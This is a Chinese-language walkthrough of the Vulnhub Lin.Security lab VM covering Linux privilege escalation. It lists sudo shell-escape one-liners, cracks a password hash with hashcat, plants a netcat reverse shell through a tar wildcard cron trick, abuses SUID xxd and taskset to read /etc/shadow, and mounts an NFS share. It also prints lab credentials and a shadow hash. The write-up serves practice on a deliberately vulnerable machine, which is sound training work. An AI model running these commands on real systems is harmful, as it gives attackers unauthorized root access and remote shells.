Vulnhub项目:Lin.Security(Linux提权大合集)

news2024/9/24 15:19:45

靶机地址:linsecurity

靶机描述了用户名和密码

用户名:bob、密码:secret

登录后看到了IP地址,或者在kali上像之前那样进行ip收集,端口收集

开放的端口有很多,从22端口开始,知道用户名和密码,ssh远程直接连接,下面进入正题,Linux的提权大法!

Linux提权大法:

1、sudo提权大合集:

https://gtfobins.github.io/ #介绍了各种方法

sudo权限是root把本来只能超级用户执行的命令赋予给普通用户执行,利用sudo -l查看支持root权限的命令,利用这些命令可以简单直接提升到root,下面有很多,可以去上方网站查看如何使用!

sudo less /etc/profile
!/bin/sh
sudo man man
!/bin/bash
TERM= sudo more /etc/profile
!/bin/sh
TF=$(mktemp)
echo 'sh 0<&2 1>&2' > $TF
chmod +x "$TF"
sudo scp -S $TF x y:
sudo socat stdin exec:/bin/sh
sudo ssh -o ProxyCommand=';sh 0<&2 1>&2' x
sudo vi -c ':!/bin/sh' /dev/null
sudo zsh
sudo rvim -c ':py import os; os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'

sudo rvim -c ':lua os.execute("reset; exec sh")'
sudo perl -e 'exec "/bin/sh";'
sudo tclsh
exec /bin/sh <@stdin >@stdout 2>@stderr
sudo PAGER='sh -c "exec sh 0<&1"' git -p help

sudo git -p help config
!/bin/sh

sudo git branch --help config
!/bin/sh

TF=$(mktemp -d)
git init "$TF"
echo 'exec /bin/sh 0<&2 1>&2' >"$TF/.git/hooks/pre-commit.sample"
mv "$TF/.git/hooks/pre-commit.sample" "$TF/.git/hooks/pre-commit"
sudo git -C "$TF" commit --allow-empty -m x

TF=$(mktemp -d)
ln -s /bin/sh "$TF/git-x"
sudo git "--exec-path=$TF" x
sudo script -q /dev/null
  1. Hash密码破解法

查看passwd,看是否存在密码的hash,可以利用john和hashcat进行破解

Linux的/etc/passwd主要格式:

用户名:密码:UID(用户ID):GID(组ID):描述性信息:主目录:默认Shell
"x" 表示此用户设有密码,但不是真正的密码,真正的密码保存在 /etc/shadow 文件中
UID范围: 0为超级用户。1-499为系统用户,1~99 用于系统自行创建的账号;100~499 分配给有系统账号需求的用户。500-65535为普通用户

Linux的/etc/shadow的格式:

root:$6$aorWKpxj$yOgku4F1ZRbqvSxxUtAYY2/6K/UU5wLobTSz/Pw5/ILvXgq9NibQ0/NQbOr1Wzp2bTbpNQr1jNNlaGjXDu5Yj1:17721:0:99999:7:::
1、root记录用户名,以:号分隔
2、$6$开头的是SHA-512加密的,$1$是MD5,$2$是Blowfish加密,$5$是SHA-256,如果是空,则没有口令,*号代表被锁定,!!表示密码过期
3、最后一次修改时间表示从某个时刻起,到用户最后一次修改口令的天数,17721天
4、最小时间间隔,指两次修改口令之间所需的最小天数,0
5、最大时间间隔,口令保持有效的最大天数,99999
6、警告时间,从系统开始警告用户到用户密码失效之间的天数,7
7、不活动时间,用户没有登录活动但账号仍然能保持有效的最大天数
8、失效天数
9、保留字段,没有啥意义
获得账号密码
insecurity/P@ssw0rd
hashcat AzER3pBZh6WZE -m 1500 /usr/share/wordlists/rockyou.txt

3、crontab定时任务

查看定时任务:cat /etc/crontab

生成一个netcat反向shell,参考(https://www.hackingarticles.in/exploiting-wildcard-for-privilege-escalation/)

msfvenom -p cmd/unix/reverse_netcat lhost=192.168.56.104 lport=8888 R
nc -vlp 8888
echo "mkfifo /tmp/dssvupb; nc 192.168.56.104 8888 0</tmp/dssvupb | /bin/sh >/tmp/dssvupb 2>&1; rm /tmp/dssvupb" > shell.sh && chmod +x shell.sh
echo > "--checkpoint-action=exec=sh shell.sh"
echo > "--checkpoint=1"
#--checkpoint-action选项:用于指定到达检查点时将要执行的程序,这将允许我们运行一个任意的命令。

等一段时间后,反弹回shell,提权成功

4、敏感隐藏文件

在获得普通用户后,我们需要找一下有没有其他用户的隐藏信息,隐藏信息前面带.一般不适用ls -la看不到,其他用户放在/home文件夹,输入ls -laR /home或者利用find命令:

find / -name ".*" -type f -path "/home/*" -exec ls -al {} \; 2>/dev/null

找到了另一个用户susan,密码:MySuperS3cretValue!

只可惜不能提权!

5、SUID提权

SUID之前的CVE里有具体介绍,这里就大致说一下,suid是uid+s的组合,s是特殊权限,一般默认下,用户权限是3位,例如0777,特殊权限默认不配置,如果超级管理员希望用户执行特殊权限文件时,拥有root权限,就会配置s的特殊权限。

使用find命令去查询具有特殊权限的执行文件:

find / -perm -4000 2>/dev/null
find / -perm -4000 -type f -exec ls -la {} 2>/dev/null \;
-perm匹配权限,4000是suid程序执行时,如果该程序有suid权限,会变成程序文件的属主
2000是sgid
1000是sbit
2>/dev/null是将错误输出到黑洞中

发现了一个可以利用的程序,xxd,查看所示组的用户

cat /etc/group | grep itservices

刚好有susan,看一下xxd该怎么用

顺利的读出来只有root才能读出的shadow

这边还有一个taskset(https://gtfobins.github.io/gtfobins/taskset/#suid-enabled)使用方法

taskset 1 /bin/bash -p

提权成功!

6、NFS服务

NFS服务低权限访问:nfs服务允许计算机之间通过tcp/ip网络共享资源,之前在使用nmap时,查看到存在2049端口NFS服务

下面进行访问nfs目录

输入:showmount -e 192.168.56.130

挂载peter home目录

在Kali上挂载NFS共享,创建一个gid为1005的用户组,接着创建peter这个账户uid指定为1001,gid指定为1005。

密码:123

下一步,在kali上生成ssh公私钥对,创建.ssh目录,传输公钥,设置权限,最后连接

ssh远程连接上了!

总结:

该靶机还存在着其他的提权方式,可以自行去探索,具体问题具体分析吧!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/439707.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

供水管网爆管预测模型研究现状

配水管网是供水系统中最昂贵的组成部分。管网运行管理和调度技术难度高&#xff0c;爆管事故 容易发生&#xff0c;对人民生活、工业生产、城市交通及社会安定造成不利影响&#xff0c;造成严重的经济损 失。合理的管道的修复更新计划是满足供水目标、实现对管网的科学管理的重…

回炉重造五--软件管理

1.软件管理 1.1软件包中的文件分类 二进制文件库文件配置文件帮助文件 1.2包查询–rpm -a&#xff1a;所有包 -p:针对尚未安装的程序包文件做查询工作 -l:查看指定的程序包安装后生成的所有文件 -i:查看包的信息 #常用的查询方法 -qa/q/qi2、yum和dnf 2.1 yum/dnf工作原理…

数据库基础篇 《5. 排序与分页》

目录 1. 排序数据 1.1 排序规则 1.2 单列排序 1.3 多列排序 2. 分页 2.1 背景 2.2 实现规则 2.3 拓展 1. 排序数据 1.1 排序规则 使用 ORDER BY 子句排序 ASC &#xff08; ascend &#xff09; : 升序 DESC &#xff08; descend &#xff09; : 降序 ORDER …

【Java 数据结构】栈的实现及相关OJ题

&#x1f389;&#x1f389;&#x1f389;点进来你就是我的人了 博主主页&#xff1a;&#x1f648;&#x1f648;&#x1f648;戳一戳,欢迎大佬指点!人生格言&#xff1a;当你的才华撑不起你的野心的时候,你就应该静下心来学习! 欢迎志同道合的朋友一起加油喔&#x1f9be;&am…

Flutter 通过 VS code 连接 Android 模拟器(Windows)

环境配置 Flutterhttps://flutter.cn/docs/get-started/install/windowsAndroid Studiohttps://developer.android.google.cn/studioVS code安装Flutter插件https://flutter.cn/docs/get-started/editor?tabvscode夜神模拟器https://www.yeshen.com 注意事项 Flutter安装之…

第五章_Redis事务

是什么 官网 能做什么 一个队列中&#xff0c;一次性、顺序性、排他性的执行一系列命令 Redis事务 VS 数据库事务 1 单独的隔离操作 Redis的事务仅仅是保证事务里的操作会被连续独占的执行&#xff0c;redis命令执行是单线程架构&#xff0c;在执行完事务内所有指令前是不可…

【浅学 Linux】

浅学 Linux 一、 Linux1. 目录2. 虚拟机的设置2.1 克隆与快照 3.系统与设置命令3.1 用户相关命令3.2 用户组3.3 管理用户组内成员3.4 日期管理3.5 显示用户3.6 id命令&sudo命令3.7 进程相关的命令top 查看进程ps 查看进展kill 杀死进程 4. Linux目录管理4.1 关机与重启命令…

RIP协议(路由信息协议)简介

一.动态路由简介 1.动态相对静态路由来说&#xff0c;找路更灵活&#xff0c;相互传递 2.分类&#xff1a; 二.RIP协议简介 1.三个版本RIPV1和RIPV2 (在IPV4中使用)&#xff0c; RIPNG (在IPV6中使用) 2.原理简介 三.配置 1.启用Rip 并指定进程ID (进程ID 只具有本地意义…

即插即用! | 国防科大联合慕尼黑工业大学提出新型解耦头 TSCODE: 引入yolov5/yolov7助力目标检测器轻松涨点!

1.Task-Specific COntext DEcoupling, TSCODE 介绍 论文:https://arxiv.org/pdf/2303.01047.pdf 本文提出了一种新颖的即插即用的特定于任务的上下文解耦头(Task-Specific COntext DEcoupling, TSCODE),通过进一步解开两个任务的特征编码来提升网络整体的性能 TSCODE整体的…

SYSU程设c++(第九周)函数对象、友元函数、友元类

函数对象&#xff1a; 如果一个类定义了operator()运算符函数&#xff0c;则可以使用该类的对象名为函数名调用这个函数. 函数对象是一个对象&#xff0c;但调用形式和普通函数调用一样&#xff0c;因此取名叫函数对象 (注意operator()先有个括号&#xff0c;接着才是括号(参数…

XHR 和 AJAX 的结合 - API 测试

大家好&#xff0c;之前一期介绍了怎样通过工具类进行对API 接口测试&#xff0c;这一期将演示如何手写一个 Ajax的请求。 什么是 XHR ? 全称为 XMLHttpRequest &#xff0c;它是浏览器内置的对象&#xff0c;使得 JavaScript 可以发送 HTTP 请求。 什么是Ajax ? Ajax是一种用…

Ubuntu用户权限、查看文件路径、防火墙

一、Ubuntu用户权限 1、设置root用户密码 sudo passwd root 新的 密码&#xff1a; 重新输入新的 密码&#xff1a; passwd&#xff1a;已成功更新密码2、普通用户赋予root权限 修改 /etc/sudoers 文件 su root vim /etc/sudoers把用户加入到root组 # root用户下操作 # -…

Elasticsearch 整合机器学习强化排序

作者&#xff1a;彭晟&#xff0c;2023 年 Elastic 开发者大会讲师 概述 Elasticsearch 整合机器学习强化排序, 介绍如何将机器学习预测能力迁移至 ES 内部&#xff0c;增强排序能力, 构建一个高性能&#xff0c;分布式搜排一体系统&#xff0c;并通过落地更多复杂模型特征和更…

[操作系统安全]缓冲区溢出

一、C栈帧结构 函数调用内存中的三个区域&#xff0c;代码区、静态数据区、动态数据区&#xff08;压栈和清栈就是在这个区域完成的&#xff09;。CPU中有三个寄存器&#xff0c;分别是eip、ebp和esp。eip永远指向代码区中将要执行的下一条指令&#xff0c;执行方式包括顺序执行…

NumberPicker分析(一)

NumberPicker分析(一) NumberPicker可实现连续滚动的字符串选择&#xff0c;其实现方式很有借鉴的意义 以最基本的使用方式为例&#xff0c;在layout中布局&#xff1a; <NumberPickerandroid:id"id/number_picker"android:layout_width"wrap_content"…

Visual Studio 2019 C# 上位机入门(1):制作一个简单应用

Visual Studio 2019下载安装步骤可以看&#xff1a;https://blog.csdn.net/weixin_44788542/article/details/114271126 这里不赘述&#xff0c;默认电脑上已经安装好了。 1、打开安装好的Visual Studio后&#xff0c;选择创建新项目。 2、找到选择C#下面的Windows 窗体应用&…

PCIe Protocol Basics

目录 1、PCIe Layered Architecture 2、Packet Movement 3、Simplified Layer Model 4、Layers and Packedt Generation 5、Detailed Layer Model 6、Transaction Layer 7、TransactionLayer Packet 8、TLP Header Overview 9、Data Link Layer 10、Data Link Layer Pa…

Vue 样式绑定

文章目录 Vue 样式绑定Vue classclass 属性绑定数组语法 Vue.js style(内联样式) Vue 样式绑定 Vue class class 与 style 是 HTML 元素的属性&#xff0c;用于设置元素的样式&#xff0c;我们可以用 v-bind 来设置样式属性。 Vue.js v-bind 在处理 class 和 style 时&#x…

php+vue+mysql医院医护人员医生排班系统

本医护人员排班系统管理员&#xff0c;医护。管理员功能有个人中心&#xff0c;医院信息管理&#xff0c;医护信息管理&#xff0c;医护类型管理&#xff0c;排班信息管理&#xff0c;排班类型管理&#xff0c;科室信息管理&#xff0c;投诉信息管理。医护人员可以修改自己的个…

Unity WebGL监听是否进入全屏模式

今天遇到一个需求打包成WebGL之后要当做一个iframe&#xff0c;嵌入到别的网页中&#xff0c;其中遇到两个难题。 1.要增加一个全屏模式。 2.全屏的时候使用unity中的title&#xff0c;非全屏的时候要使用网页本身的title。 全屏一开始使用webkitRequestFullScreen&#xff…